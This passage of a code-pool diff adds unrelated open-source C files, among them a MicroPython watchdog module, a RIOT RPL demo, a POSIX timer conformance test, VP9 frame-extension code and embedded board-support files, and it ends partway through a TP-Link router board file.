+/****************************************************************************** + DECLARE TYPES + ******************************************************************************/ +typedef struct { + bool servers; + bool servers_sleeping; + bool simplelink; + bool running; +}pybwdt_data_t; + +/****************************************************************************** + DECLARE PRIVATE DATA + ******************************************************************************/ +static pybwdt_data_t pybwdt_data = {.servers = false, .servers_sleeping = false, .simplelink = false, .running = false}; + +/****************************************************************************** + DEFINE PUBLIC FUNCTIONS + ******************************************************************************/ +// must be called in main.c just after initializing the hal +__attribute__ ((section (".boot"))) +void pybwdt_init0 (void) { +} + +void pybwdt_kick (void) { + // check that the servers and simplelink are running fine + if ((pybwdt_data.servers || pybwdt_data.servers_sleeping) && pybwdt_data.simplelink && pybwdt_data.running) { + pybwdt_data.servers = false; + pybwdt_data.simplelink = false; + MAP_WatchdogIntClear(WDT_BASE); + } +} + +void pybwdt_srv_alive (void) { + pybwdt_data.servers = true; +} + +void pybwdt_srv_sleeping (bool state) { + pybwdt_data.servers_sleeping = state; +} + +void pybwdt_sl_alive (void) { + pybwdt_data.simplelink = true; +} + +/******************************************************************************/ +// Micro Python bindings + +/// \function wdt_enable('msec') +/// Enabled the watchdog timer with msec timeout value +STATIC mp_obj_t pyb_enable_wdt(mp_obj_t self, mp_obj_t msec_in) { + mp_int_t msec = mp_obj_get_int(msec_in); + + if (msec < PYBWDT_MIN_TIMEOUT_MS) { + nlr_raise(mp_obj_new_exception_msg(&mp_type_ValueError, mpexception_value_invalid_arguments)); + } + if (pybwdt_data.running) { + nlr_raise(mp_obj_new_exception_msg(&mp_type_OSError, mpexception_os_request_not_possible)); + } + + // Enable the WDT peripheral clock + MAP_PRCMPeripheralClkEnable(PRCM_WDT, PRCM_RUN_MODE_CLK | PRCM_SLP_MODE_CLK); + + // Unlock to be able to configure the registers + MAP_WatchdogUnlock(WDT_BASE); + + // make the WDT stall when the debugger stops on a breakpoint + MAP_WatchdogStallEnable (WDT_BASE); + + // set the watchdog timer reload value + // the WDT trigger a system reset after the second timeout + // so, divide by the 2 timeout value received + MAP_WatchdogReloadSet(WDT_BASE, PYBWDT_MILLISECONDS_TO_TICKS(msec / 2)); + + // start the timer. Once wdt is started, it cannot be disabled. + MAP_WatchdogEnable(WDT_BASE); + pybwdt_data.running = true; + + return mp_const_none; +} +STATIC MP_DEFINE_CONST_FUN_OBJ_2(pyb_enable_wdt_obj, pyb_enable_wdt); + +/// \function wdt_kick() +/// Kicks the watchdog timer +STATIC mp_obj_t pyb_kick_wdt(mp_obj_t self) { + pybwdt_kick (); + return mp_const_none; +} +STATIC MP_DEFINE_CONST_FUN_OBJ_1(pyb_kick_wdt_obj, pyb_kick_wdt); + +STATIC const mp_map_elem_t pybwdt_locals_dict_table[] = { + { MP_OBJ_NEW_QSTR(MP_QSTR_enable), (mp_obj_t)&pyb_enable_wdt_obj }, + { MP_OBJ_NEW_QSTR(MP_QSTR_kick), (mp_obj_t)&pyb_kick_wdt_obj }, +}; +STATIC MP_DEFINE_CONST_DICT(pybwdt_locals_dict, pybwdt_locals_dict_table); + +static const mp_obj_type_t pybwdt_type = { + { &mp_type_type }, + .name = MP_QSTR_WDT, + .locals_dict = (mp_obj_t)&pybwdt_locals_dict, +}; + +const mp_obj_base_t pyb_wdt_obj = {&pybwdt_type}; diff --git a/pool/shard011/C/0141686_rpl.c b/pool/shard011/C/0141686_rpl.c new file mode 100644 index 0000000000000000000000000000000000000000..716b9d62eda9fde99874933c2eb87e71a75e3518 --- /dev/null +++ b/pool/shard011/C/0141686_rpl.c @@ -0,0 +1,149 @@ +/* + * Copyright (C) 2014 INRIA + * + * This file is subject to the terms and conditions of the GNU Lesser General + * Public License. See the file LICENSE in the top level directory for more + * details. + */ + +#include +#include +#include "vtimer.h" +#include "thread.h" +#include "net_if.h" +#include "sixlowpan.h" +#include "socket_base.h" +#include "rpl.h" +#include "rpl/rpl_dodag.h" +#include "demo.h" +#include "transceiver.h" + +#define ENABLE_DEBUG (0) +#include "debug.h" + +#define TRANSCEIVER TRANSCEIVER_DEFAULT + +#ifdef WITH_MONITOR +long long monitor_stack_buffer[MONITOR_STACK_SIZE]; +#endif +radio_address_t id; +ipv6_addr_t std_addr; + +uint8_t is_root = 0; + +void rpl_udp_init(int argc, char **argv) +{ + if (argc != 2) { + printf("Usage: %s (r|n)\n", argv[0]); + printf("\tr\tinitialize as root\n"); + printf("\tn\tinitialize as node router\n"); + return; + } + + rpl_init(argv[1][0]); +} + +void rpl_ex_init(char command) +{ + transceiver_command_t tcmd; + msg_t m; + uint8_t chan = RADIO_CHANNEL; + uint8_t state; + if ((command == 'n') || (command == 'r')) { + printf("INFO: Initialize as %s on address %d\n", ((command == 'n') ? "node" : "root"), id); + + if (!id || (id > 255)) { + printf("ERROR: address not a valid 8 bit integer\n"); + return; + } + + DEBUGF("Setting HW address to %u\n", id); + net_if_set_hardware_address(0, id); + + DEBUGF("Initializing RPL for interface 0\n"); + state = rpl_init(0); + + if (state != SIXLOWERROR_SUCCESS) { + printf("Error initializing RPL\n"); + } + else { + puts("6LoWPAN and RPL initialized."); + } + + if (command == 'r') { + rpl_init_root(); + is_root = 1; + } + else { + ipv6_iface_set_routing_provider(rpl_get_next_hop); + } + +#ifdef WITH_MONITOR + DEBUGF("Start monitor\n"); + int monitor_pid = thread_create( + monitor_stack_buffer, sizeof(monitor_stack_buffer), + PRIORITY_MAIN - 2, CREATE_STACKTEST, + rpl_udp_monitor, NULL, "monitor"); + DEBUGF("Register at transceiver %02X\n", TRANSCEIVER); + transceiver_register(TRANSCEIVER, monitor_pid); + ipv6_register_packet_handler(monitor_pid); + //sixlowpan_lowpan_register(monitor_pid); +#endif + } + else { + printf("ERROR: Unknown command '%c'\n", command); + return; + } + + /* TODO: check if this works as intended */ + ipv6_addr_t prefix, tmp; + ipv6_addr_init(&std_addr, 0xabcd, 0x0, 0x0, 0x0, 0x3612, 0x00ff, 0xfe00, id); + ipv6_addr_init_prefix(&prefix, &std_addr, 64); + //ndp_add_prefix_info(0, &prefix, 64, NDP_OPT_PI_VLIFETIME_INFINITE, + // NDP_OPT_PI_PLIFETIME_INFINITE, 1, + // ICMPV6_NDP_OPT_PI_FLAG_AUTONOM); + ipv6_init_as_router(); + /* add global address */ + ipv6_addr_set_by_eui64(&tmp, 0, &std_addr); + //ipv6_net_if_add_addr(0, &tmp, NDP_ADDR_STATE_PREFERRED, 0, 0, 0); + + /* set channel to 10 */ + tcmd.transceivers = TRANSCEIVER; + tcmd.data = &chan; + m.type = SET_CHANNEL; + m.content.ptr = (void *) &tcmd; + + msg_send_receive(&m, &m, transceiver_pid); + printf("Channel set to %u\n", RADIO_CHANNEL); + + puts("Destiny initialized"); + /* start transceiver watchdog */ +} + +void rpl_udp_dodag(int argc, char **argv) +{ + (void) argc; + (void) argv; + + printf("---------------------------\n"); + rpl_dodag_t *mydodag = rpl_get_my_dodag(); + + if (mydodag == NULL) { + printf("Not part of a dodag\n"); + printf("---------------------------\n"); + return; + } + + printf("Part of Dodag:\n"); + printf("%s\n", ipv6_addr_to_str(addr_str, IPV6_MAX_ADDR_STR_LEN, + (&mydodag->dodag_id))); + printf("my rank: %d\n", mydodag->my_rank); + + if (!is_root) { + printf("my preferred parent:\n"); + printf("%s\n", ipv6_addr_to_str(addr_str, IPV6_MAX_ADDR_STR_LEN, + (&mydodag->my_preferred_parent->addr))); + } + + printf("---------------------------\n"); +} diff --git a/pool/shard011/C/0141687_se_worker.c b/pool/shard011/C/0141687_se_worker.c new file mode 100644 index 0000000000000000000000000000000000000000..5f82fa08e53112518e6584810cc44e1a078e1235 --- /dev/null +++ b/pool/shard011/C/0141687_se_worker.c @@ -0,0 +1,94 @@ + +/* + * sophia database + * sphia.org + * + * Copyright (c) Dmitry Simonenko + * BSD License +*/ + +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include + +static inline seworker* +se_workernew(sr *r, int id, ssthreadf f, void *arg) +{ + seworker *w = ss_malloc(r->a, sizeof(seworker)); + if (ssunlikely(w == NULL)) { + sr_oom_malfunction(r->e); + return NULL; + } + snprintf(w->name, sizeof(w->name), "%d", id); + w->arg = arg; + sd_cinit(&w->dc); + ss_listinit(&w->link); + ss_traceinit(&w->trace); + ss_trace(&w->trace, "%s", "init"); + int rc = ss_threadnew(&w->t, f, w); + if (ssunlikely(rc == -1)) { + sr_malfunction(r->e, "failed to create thread: %s", + strerror(errno)); + ss_free(r->a, w); + return NULL; + } + return w; +} + +static inline int +se_workershutdown(seworker *w, sr *r) +{ + int rc = ss_threadjoin(&w->t); + if (ssunlikely(rc == -1)) + sr_malfunction(r->e, "failed to join a thread: %s", + strerror(errno)); + sd_cfree(&w->dc, r); + ss_tracefree(&w->trace); + ss_free(r->a, w); + return rc; +} + +int se_workerpool_init(seworkerpool *w) +{ + ss_listinit(&w->list); + w->n = 0; + return 0; +} + +int se_workerpool_shutdown(seworkerpool *p, sr *r) +{ + int rcret = 0; + int rc; + sslist *i, *n; + ss_listforeach_safe(&p->list, i, n) { + seworker *w = sscast(i, seworker, link); + rc = se_workershutdown(w, r); + if (ssunlikely(rc == -1)) + rcret = -1; + } + return rcret; +} + +int se_workerpool_new(seworkerpool *p, sr *r, int n, ssthreadf f, void *arg) +{ + int i = 0; + int id = 0; + while (i < n) { + seworker *w = se_workernew(r, id, f, arg); + if (ssunlikely(p == NULL)) + return -1; + ss_listappend(&p->list, &w->link); + p->n++; + i++; + id++; + } + return 0; +} diff --git a/pool/shard011/C/0141688_13-1.c b/pool/shard011/C/0141688_13-1.c new file mode 100644 index 0000000000000000000000000000000000000000..e8f9a30a8f6e0133f1cd2ee52972b25e4aeeac98 --- /dev/null +++ b/pool/shard011/C/0141688_13-1.c @@ -0,0 +1,115 @@ +/* + * Copyright (c) 2002, Intel Corporation. All rights reserved. + * Created by: julie.n.fleischer REMOVE-THIS AT intel DOT com + * This file is licensed under the GPL license. For the full content + * of this license, see the COPYING file at the top level of this + * source tree. + * + * Test that timer_settime() sets errno = EINVAL if: + * - value.it_value is not = 0 (so disabled) + * AND + * - value.*.it_nsec < 0 + * or + * - value.*.it_nsec >= 1000 million + * This includes standard boundary tests. + * + * Signal SIGTOTEST is used. + * Clock CLOCK_REALTIME is used. + */ + +#if __APPLE__ +int main() { return 0; } +#else /* !__APPLE__ */ + +#include +#include +#include +#include +#include "posixtest.h" + +#define SIGTOTEST SIGALRM +#define NUMTESTS 20 + +/* + * Each test listed in the multidimensional array. + * element 0 - value.it_value.tv_sec + * element 1 - value.it_value.tv_nsec + * element 2 - value.it_interval.tv_sec + * element 3 - value.it_interval.tv_nsec + */ +static int testlist[NUMTESTS][4] = { + {1, -1, 0, 0}, // value.it_value.tv_nsec < 0 + {1, -2147483647, 0, 0}, // value.it_value.tv_nsec < 0 + {1, -1073743192, 0, 0}, // value.it_value.tv_nsec < 0 + {1, 1000000000, 0, 0}, // value.it_value.tv_nsec >= 1K mi + {1, 1000000001, 0, 0}, // value.it_value.tv_nsec >= 1K mi + {1, 2147483647, 0, 0}, // value.it_value.tv_nsec >= 1K mi + {1, 1075002478, 0, 0}, // value.it_value.tv_nsec >= 1K mi + {1, -1, 0, -1}, // value.it_interval.tv_nsec < 0 + {1, 0, 0, -2147483647}, // value.it_interval.tv_nsec < 0 + {1, 0, 0, -1073743192}, // value.it_interval.tv_nsec < 0 + {1, 0, 0, 1000000000}, // value.it_interval.tv_nsec >= 1K mi + {1, 0, 0, 1000000001}, // value.it_interval.tv_nsec >= 1K mi + {1, 0, 0, 2147483647}, // value.it_interval.tv_nsec >= 1K mi + {1, 0, 0, 1075002478}, // value.it_interval.tv_nsec >= 1K mi + {-1, 0, 0, 0}, // value.it_value.tv_sec < 0 + {-2147483647, 0, 0, 0}, // value.it_value.tv_sec < 0 + {-1073743192, 0, 0, 0}, // value.it_value.tv_sec < 0 + {1, 0, -1, 0}, // value.it_interval.tv_sec < 0 + {1, 0, -2147483647, 0}, // value.it_interval.tv_sec < 0 + {1, 0, -1073743192, 0}, // value.it_interval.tv_sec < 0 +}; + +int main(int argc, char *argv[]) +{ + struct sigevent ev; + timer_t tid; + struct itimerspec its; + int i; + int failure = 0; + + ev.sigev_notify = SIGEV_SIGNAL; + ev.sigev_signo = SIGTOTEST; + + if (timer_create(CLOCK_REALTIME, &ev, &tid) != 0) { + perror("timer_create() did not return success\n"); + return PTS_UNRESOLVED; + } + + for (i = 0; i < NUMTESTS; i++) { + its.it_value.tv_sec = testlist[i][0]; + its.it_value.tv_nsec = testlist[i][1]; + its.it_interval.tv_sec = testlist[i][2]; + its.it_interval.tv_nsec = testlist[i][3]; + + printf("it_value: %d sec %d nsec\n", + (int) its.it_value.tv_sec, + (int) its.it_value.tv_nsec); + printf("it_interval: %d sec %d nsec\n", + (int) its.it_interval.tv_sec, + (int) its.it_interval.tv_nsec); + + if (timer_settime(tid, 0, &its, NULL) == -1) { + if (EINVAL != errno) { + printf("errno != EINVAL\n"); + failure = 1; + } + } else { + printf("timer_settime() did not return failure\n"); + failure = 1; + } + } + + if (failure) { + printf("At least one test FAILED\n"); + return PTS_FAIL; + } else { + printf("All tests PASSED\n"); + return PTS_PASS; + } + + printf("This code could not be executed.\n"); + return PTS_UNRESOLVED; +} + +#endif /* !__APPLE__ */ diff --git a/pool/shard011/C/0141689_vp9_extend.c b/pool/shard011/C/0141689_vp9_extend.c new file mode 100644 index 0000000000000000000000000000000000000000..d3e66f696de31a29d46c60a4ab9eb23654e86112 --- /dev/null +++ b/pool/shard011/C/0141689_vp9_extend.c @@ -0,0 +1,169 @@ +/* + * Copyright (c) 2010 The WebM project authors. All Rights Reserved. + * + * Use of this source code is governed by a BSD-style license + * that can be found in the LICENSE file in the root of the source + * tree. An additional intellectual property rights grant can be found + * in the file PATENTS. All contributing project authors may + * be found in the AUTHORS file in the root of the source tree. + */ + +#include "vp9/common/vp9_extend.h" +#include "vpx_mem/vpx_mem.h" + +static void copy_and_extend_plane(uint8_t *s, /* source */ + int sp, /* source pitch */ + uint8_t *d, /* destination */ + int dp, /* destination pitch */ + int h, /* height */ + int w, /* width */ + int et, /* extend top border */ + int el, /* extend left border */ + int eb, /* extend bottom border */ + int er) { /* extend right border */ + int i; + uint8_t *src_ptr1, *src_ptr2; + uint8_t *dest_ptr1, *dest_ptr2; + int linesize; + + /* copy the left and right most columns out */ + src_ptr1 = s; + src_ptr2 = s + w - 1; + dest_ptr1 = d - el; + dest_ptr2 = d + w; + + for (i = 0; i < h; i++) { + vpx_memset(dest_ptr1, src_ptr1[0], el); + vpx_memcpy(dest_ptr1 + el, src_ptr1, w); + vpx_memset(dest_ptr2, src_ptr2[0], er); + src_ptr1 += sp; + src_ptr2 += sp; + dest_ptr1 += dp; + dest_ptr2 += dp; + } + + /* Now copy the top and bottom lines into each line of the respective + * borders + */ + src_ptr1 = d - el; + src_ptr2 = d + dp * (h - 1) - el; + dest_ptr1 = d + dp * (-et) - el; + dest_ptr2 = d + dp * (h) - el; + linesize = el + er + w; + + for (i = 0; i < et; i++) { + vpx_memcpy(dest_ptr1, src_ptr1, linesize); + dest_ptr1 += dp; + } + + for (i = 0; i < eb; i++) { + vpx_memcpy(dest_ptr2, src_ptr2, linesize); + dest_ptr2 += dp; + } +} + +void vp9_copy_and_extend_frame(YV12_BUFFER_CONFIG *src, + YV12_BUFFER_CONFIG *dst) { + int et = dst->border; + int el = dst->border; + int eb = dst->border + dst->y_height - src->y_height; + int er = dst->border + dst->y_width - src->y_width; + + copy_and_extend_plane(src->y_buffer, src->y_stride, + dst->y_buffer, dst->y_stride, + src->y_height, src->y_width, + et, el, eb, er); + + et = dst->border >> 1; + el = dst->border >> 1; + eb = (dst->border >> 1) + dst->uv_height - src->uv_height; + er = (dst->border >> 1) + dst->uv_width - src->uv_width; + + copy_and_extend_plane(src->u_buffer, src->uv_stride, + dst->u_buffer, dst->uv_stride, + src->uv_height, src->uv_width, + et, el, eb, er); + + copy_and_extend_plane(src->v_buffer, src->uv_stride, + dst->v_buffer, dst->uv_stride, + src->uv_height, src->uv_width, + et, el, eb, er); +} + +void vp9_copy_and_extend_frame_with_rect(YV12_BUFFER_CONFIG *src, + YV12_BUFFER_CONFIG *dst, + int srcy, int srcx, + int srch, int srcw) { + int et = dst->border; + int el = dst->border; + int eb = dst->border + dst->y_height - src->y_height; + int er = dst->border + dst->y_width - src->y_width; + int src_y_offset = srcy * src->y_stride + srcx; + int dst_y_offset = srcy * dst->y_stride + srcx; + int src_uv_offset = ((srcy * src->uv_stride) >> 1) + (srcx >> 1); + int dst_uv_offset = ((srcy * dst->uv_stride) >> 1) + (srcx >> 1); + + // If the side is not touching the bounder then don't extend. + if (srcy) + et = 0; + if (srcx) + el = 0; + if (srcy + srch != src->y_height) + eb = 0; + if (srcx + srcw != src->y_width) + er = 0; + + copy_and_extend_plane(src->y_buffer + src_y_offset, + src->y_stride, + dst->y_buffer + dst_y_offset, + dst->y_stride, + srch, srcw, + et, el, eb, er); + + et = (et + 1) >> 1; + el = (el + 1) >> 1; + eb = (eb + 1) >> 1; + er = (er + 1) >> 1; + srch = (srch + 1) >> 1; + srcw = (srcw + 1) >> 1; + + copy_and_extend_plane(src->u_buffer + src_uv_offset, + src->uv_stride, + dst->u_buffer + dst_uv_offset, + dst->uv_stride, + srch, srcw, + et, el, eb, er); + + copy_and_extend_plane(src->v_buffer + src_uv_offset, + src->uv_stride, + dst->v_buffer + dst_uv_offset, + dst->uv_stride, + srch, srcw, + et, el, eb, er); +} + +/* note the extension is only for the last row, for intra prediction purpose */ +void vp9_extend_mb_row(YV12_BUFFER_CONFIG *ybf, uint8_t *YPtr, + uint8_t *UPtr, uint8_t *VPtr) { + int i; + + YPtr += ybf->y_stride * 14; + UPtr += ybf->uv_stride * 6; + VPtr += ybf->uv_stride * 6; + + for (i = 0; i < 4; i++) { + YPtr[i] = YPtr[-1]; + UPtr[i] = UPtr[-1]; + VPtr[i] = VPtr[-1]; + } + + YPtr += ybf->y_stride; + UPtr += ybf->uv_stride; + VPtr += ybf->uv_stride; + + for (i = 0; i < 4; i++) { + YPtr[i] = YPtr[-1]; + UPtr[i] = UPtr[-1]; + VPtr[i] = VPtr[-1]; + } +} diff --git a/pool/shard011/C/0141690_Mcplxcor.c b/pool/shard011/C/0141690_Mcplxcor.c new file mode 100644 index 0000000000000000000000000000000000000000..7c88ded8fa4dbeb90b68d6e7843549496c786eb9 --- /dev/null +++ b/pool/shard011/C/0141690_Mcplxcor.c @@ -0,0 +1,94 @@ +/* Statistical complex correlation for circular data. */ +/* + Copyright (C) 2009 University of Texas at Austin + + This program is free software; you can redistribute it and/or modify + it under the terms of the GNU General Public License as published by + the Free Software Foundation; either version 2 of the License, or + (at your option) any later version. + + This program is distributed in the hope that it will be useful, + but WITHOUT ANY WARRANTY; without even the implied warranty of + MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the + GNU General Public License for more details. + + You should have received a copy of the GNU General Public License + along with this program; if not, write to the Free Software + Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA 02111-1307 USA +*/ + +#include +#include +#include + +#define SIGN(a) (a > 0 ? 1 : (a < 0 ? -1 : 0)) + +#include "cplxstat.h" + +int main(int argc, char* argv[]) +{ + int i,j,nt,nx; + + float c,p; + float dt,dx,ot,ox; + float **data,**cc,*t1,*t2; + + sf_axis caxis,xaxis; + sf_file in,out; + + sf_init (argc,argv); + + in = sf_input("in"); + out = sf_output("out"); + + /* input file parameters */ + if (SF_FLOAT != sf_gettype(in)) sf_error("Need float input"); + + if (!sf_histint(in,"n1",&nt)) sf_error("No n1= in input"); + if (!sf_histfloat(in,"d1",&dt)) sf_error("No d1= in input"); + if (!sf_histfloat(in,"o1",&ot)) sf_error("No o1= in input"); + + if (!sf_histint(in,"n2",&nx)) sf_error("No n2= in input"); + if (!sf_histfloat(in,"d2",&dx)) sf_error("No d2= in input"); + if (!sf_histfloat(in,"o2",&ox)) sf_error("No o2= in input"); + + /* output file parameters */ + caxis = sf_maxa(2,0,1); + sf_oaxa(out,caxis,1); + + xaxis = sf_maxa (nx-1,ox,dx); + sf_oaxa(out,xaxis,2); + + /* memory allocations */ + data = sf_floatalloc2(nt,nx); + cc = sf_floatalloc2(2,nx-1); + t1 = sf_floatalloc(nt); + t2 = sf_floatalloc(nt); + + /* input in degree */ + sf_floatread(data[0],nt*nx,in); + + for (i = 0; i < nx-1; i++) { + + for (j = 0; j < nt; j++) { + + t1[j] = data[i][j]; + t2[j] = data[i+1][j]; + + } + + c = 0.0; + p = 0.0; + + /* cross-correlation modulus and phase */ + circ_corr(t1,t2,nt,&c,&p); + + cc[i][0] = p*180.0/SF_PI; + cc[i][1] = c; + + } + + sf_floatwrite(cc[0],2*(nx-1),out); + + exit (0); +} diff --git a/pool/shard011/C/0141691_board-m7-keypad.c b/pool/shard011/C/0141691_board-m7-keypad.c new file mode 100644 index 0000000000000000000000000000000000000000..2cb1bce6bf5ac61bd92a66d4daca234fde7ada79 --- /dev/null +++ b/pool/shard011/C/0141691_board-m7-keypad.c @@ -0,0 +1,141 @@ +/* arch/arm/mach-msm/board-m7-keypad.c + * Copyright (C) 2010 HTC Corporation. + * + * This software is licensed under the terms of the GNU General Public + * License version 2, as published by the Free Software Foundation, and + * may be copied, distributed, and modified under those terms. + * + * This program is distributed in the hope that it will be useful, + * but WITHOUT ANY WARRANTY; without even the implied warranty of + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the + * GNU General Public License for more details. +*/ + +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include "board-m7.h" + +static char *keycaps = "--qwerty"; +#undef MODULE_PARAM_PREFIX +#define MODULE_PARAM_PREFIX "board_m7." + +module_param_named(keycaps, keycaps, charp, 0); + +static struct gpio_event_direct_entry m7_keypad_map[] = { + { + .gpio = PWR_KEY_MSMz, + .code = KEY_POWER, + }, + { + .gpio = VOL_DOWNz, + .code = KEY_VOLUMEDOWN, + }, + { + .gpio = VOL_UPz, + .code = KEY_VOLUMEUP, + }, +}; + +static uint32_t matirx_inputs_gpio_table[] = { + GPIO_CFG(PWR_KEY_MSMz, 0, GPIO_CFG_INPUT, GPIO_CFG_PULL_UP, + GPIO_CFG_2MA), + GPIO_CFG(VOL_DOWNz, 0, GPIO_CFG_INPUT, GPIO_CFG_PULL_UP, + GPIO_CFG_2MA), + GPIO_CFG(VOL_UPz, 0, GPIO_CFG_INPUT, GPIO_CFG_PULL_UP, + GPIO_CFG_2MA), +}; + +static void m7_direct_inputs_gpio(void) +{ + int i = 0; + + for (i = 0; i < ARRAY_SIZE(matirx_inputs_gpio_table); i++) + gpio_tlmm_config(matirx_inputs_gpio_table[i], GPIO_CFG_ENABLE); + + return; +} + +uint32_t hw_clr_gpio_table[] = { + GPIO_CFG(PWR_MISTOUCH, 0, GPIO_CFG_INPUT, + GPIO_CFG_PULL_UP, GPIO_CFG_2MA), + GPIO_CFG(PWR_MISTOUCH, 0, GPIO_CFG_OUTPUT, + GPIO_CFG_PULL_UP, GPIO_CFG_2MA), +}; + +#if 0 +static void m7_clear_hw_reset(void) +{ + printk(KERN_INFO "[KEY] %s ++++++\n", __func__); + gpio_tlmm_config(hw_clr_gpio_table[1], GPIO_CFG_ENABLE); + gpio_set_value(PWR_MISTOUCH, 0); + msleep(100); + gpio_tlmm_config(hw_clr_gpio_table[0], GPIO_CFG_ENABLE); + printk(KERN_INFO "[KEY] %s ------\n", __func__); +} +#endif + +static struct gpio_event_input_info m7_keypad_power_info = { + .info.func = gpio_event_input_func, + .flags = GPIOEDF_PRINT_KEYS, + .type = EV_KEY, +#if BITS_PER_LONG != 64 && !defined(CONFIG_KTIME_SCALAR) + .debounce_time.tv.nsec = 20 * NSEC_PER_MSEC, +# else + .debounce_time.tv64 = 20 * NSEC_PER_MSEC, +# endif + .keymap = m7_keypad_map, + .keymap_size = ARRAY_SIZE(m7_keypad_map), + .setup_input_gpio = m7_direct_inputs_gpio, + // .clear_hw_reset = m7_clear_hw_reset, +}; + +static struct gpio_event_info *m7_keypad_info[] = { + &m7_keypad_power_info.info, +}; + +static struct gpio_event_platform_data m7_keypad_data = { + .name = "keypad_8960", + .info = m7_keypad_info, + .info_count = ARRAY_SIZE(m7_keypad_info), +}; + +static struct platform_device m7_keypad_device = { + .name = GPIO_EVENT_DEV_NAME, + .id = 0, + .dev = { + .platform_data = &m7_keypad_data, + }, +}; + +static struct keyreset_platform_data m7_reset_keys_pdata = { + + .keys_down = { + KEY_POWER, + KEY_VOLUMEDOWN, + KEY_VOLUMEUP, + 0 + }, +}; + +static struct platform_device m7_reset_keys_device = { + .name = KEYRESET_NAME, + .dev.platform_data = &m7_reset_keys_pdata, +}; + +int __init m7_init_keypad(void) +{ + if (platform_device_register(&m7_reset_keys_device)) + printk(KERN_WARNING "%s: register reset key fail\n", __func__); + + return platform_device_register(&m7_keypad_device); +} + diff --git a/pool/shard011/C/0141692_util.c b/pool/shard011/C/0141692_util.c new file mode 100644 index 0000000000000000000000000000000000000000..28d4ecd46427f07f7cc9be9dc56fa65b04faf6a6 --- /dev/null +++ b/pool/shard011/C/0141692_util.c @@ -0,0 +1,69 @@ + +/* NDBMEMCACHE NOTE */ +/* This file has diverged from the original memcache source */ + + + +#include "config.h" +#include +#include +#include +#include +#include + +#include + +/* Avoid warnings on solaris, where isspace() is an index into an array, and gcc uses signed chars */ +#define xisspace(c) isspace((unsigned char)c) + +bool safe_strtoull(const char *str, uint64_t *out) { + assert(out != NULL); + errno = 0; + *out = 0; + char *endptr; + unsigned long long ull = strtoull(str, &endptr, 10); + if (errno == ERANGE) + return false; + if (xisspace(*endptr) || (*endptr == '\0' && endptr != str)) { + if ((long long) ull < 0) { + /* only check for negative signs in the uncommon case when + * the unsigned number is so big that it's negative as a + * signed number. */ + if (strchr(str, '-') != NULL) { + return false; + } + } + *out = ull; + return true; + } + return false; +} + +bool safe_strtoul(const char *str, uint32_t *out) { + char *endptr = NULL; + unsigned long l = 0; + assert(out); + assert(str); + *out = 0; + errno = 0; + + l = strtoul(str, &endptr, 10); + if (errno == ERANGE) { + return false; + } + + if (xisspace(*endptr) || (*endptr == '\0' && endptr != str)) { + if ((long) l < 0) { + /* only check for negative signs in the uncommon case when + * the unsigned number is so big that it's negative as a + * signed number. */ + if (strchr(str, '-') != NULL) { + return false; + } + } + *out = l; + return true; + } + + return false; +} diff --git a/pool/shard011/C/0141693_gcc-torture-execute-pr27260.c b/pool/shard011/C/0141693_gcc-torture-execute-pr27260.c new file mode 100644 index 0000000000000000000000000000000000000000..5c5b8d46f3ce40506b6a88d59273d701fc05d680 --- /dev/null +++ b/pool/shard011/C/0141693_gcc-torture-execute-pr27260.c @@ -0,0 +1,43 @@ +/* + pr15262.c from the execute part of the gcc torture tests. + */ + +#include + +#ifdef __SDCC +#pragma std_c99 +#endif + +/* PR middle-end/27260 */ + +#include + +char buf[65]; + +void +foo (int x) +{ + memset (buf, x != 2 ? 1 : 0, 64); +} + +void +testTortureExecute (void) +{ + int i; + buf[64] = 2; + for (i = 0; i < 64; i++) + if (buf[i] != 0) + ASSERT (0); + foo (0); + for (i = 0; i < 64; i++) + if (buf[i] != 1) + ASSERT (0); + foo (2); + for (i = 0; i < 64; i++) + if (buf[i] != 0) + ASSERT (0); + if (buf[64] != 2) + ASSERT (0); + return; +} + diff --git a/pool/shard011/C/0141694_mach-tl-wr841n-v8.c b/pool/shard011/C/0141694_mach-tl-wr841n-v8.c new file mode 100644 index 0000000000000000000000000000000000000000..7f6ed16da01c496f40be5c3c0e14b7b50527b080 --- /dev/null +++ b/pool/shard011/C/0141694_mach-tl-wr841n-v8.c @@ -0,0 +1,226 @@ +/* + * TP-LINK TL-WR841N/ND v8/TL-MR3420 v2 board support + * + * Copyright (C) 2012 Gabor Juhos + * + * This program is free software; you can redistribute it and/or modify it + * under the terms of the GNU General Public License version 2 as published + * by the Free Software Foundation. + */ + +#include +#include + +#include +#include + +#include "common.h" +#include "dev-eth.h" +#include "dev-gpio-buttons.h" +#include "dev-leds-gpio.h" +#include "dev-m25p80.h" +#include "dev-usb.h" +#include "dev-wmac.h" +#include "machtypes.h" +#include "eeprom.h" + +#define TL_WR841NV8_GPIO_LED_WLAN 13 +#define TL_WR841NV8_GPIO_LED_QSS 15 +#define TL_WR841NV8_GPIO_LED_WAN 18 +#define TL_WR841NV8_GPIO_LED_LAN1 19 +#define TL_WR841NV8_GPIO_LED_LAN2 20 +#define TL_WR841NV8_GPIO_LED_LAN3 21 +#define TL_WR841NV8_GPIO_LED_LAN4 12 +#define TL_WR841NV8_GPIO_LED_SYSTEM 14 + +#define TL_WR841NV8_GPIO_BTN_RESET 17 +#define TL_WR841NV8_GPIO_SW_RFKILL 16 /* WPS for MR3420 v2 */ + +#define TL_MR3420V2_GPIO_LED_3G 11 +#define TL_MR3420V2_GPIO_USB_POWER 4 + +#define TL_WR841NV8_KEYS_POLL_INTERVAL 20 /* msecs */ +#define TL_WR841NV8_KEYS_DEBOUNCE_INTERVAL (3 * TL_WR841NV8_KEYS_POLL_INTERVAL) + +static const char *tl_wr841n_v8_part_probes[] = { + "tp-link", + NULL, +}; + +static struct flash_platform_data tl_wr841n_v8_flash_data = { + .part_probes = tl_wr841n_v8_part_probes, +}; + +static struct gpio_led tl_wr841n_v8_leds_gpio[] __initdata = { + { + .name = "tp-link:green:lan1", + .gpio = TL_WR841NV8_GPIO_LED_LAN1, + .active_low = 1, + }, { + .name = "tp-link:green:lan2", + .gpio = TL_WR841NV8_GPIO_LED_LAN2, + .active_low = 1, + }, { + .name = "tp-link:green:lan3", + .gpio = TL_WR841NV8_GPIO_LED_LAN3, + .active_low = 1, + }, { + .name = "tp-link:green:lan4", + .gpio = TL_WR841NV8_GPIO_LED_LAN4, + .active_low = 1, + }, { + 